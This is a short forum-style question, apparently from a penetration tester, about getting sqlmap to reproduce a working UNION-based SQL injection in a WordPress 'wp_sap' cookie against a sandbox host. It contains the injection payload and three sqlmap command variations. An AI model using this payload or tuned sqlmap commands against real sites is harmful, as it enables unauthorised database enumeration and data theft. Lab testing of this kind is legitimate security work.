SQLMap Cookie Injectioin with Working Manual SQLi

I’m using an existing exploit which calls for a cookie called wp_sap to be set with the following value:

["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"] 

This works great manually. Now, I’d like to be able to use this within SQLMap to enumerate the database automatically but have been struggling. I’ve tried the following variations to no avail.

sqlmap --cookie "wp_sap=[\"1650149780')) OR 1=2 " -u http://sandbox.local -p "wp_sap" --dbms "MariaDB" --suffix "#]" --level 5 --technique U -proxy  sqlmap --cookie="wp_sap=*" -u http://sandbox.local -p "wp_sap" --dbms="MariaDB" --prefix "[\"1650149780')) OR 1=2" --suffix "11#]" --level 5 --technique U -proxy  sqlmap --cookie="wp_sap=[\"1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,*" -u http://sandbox.local -p "wp_sap" --dbms="MariaDB" --suffix ",11#]" --level 5 --technique U -proxy 

I’d really appreciate some help to get this working.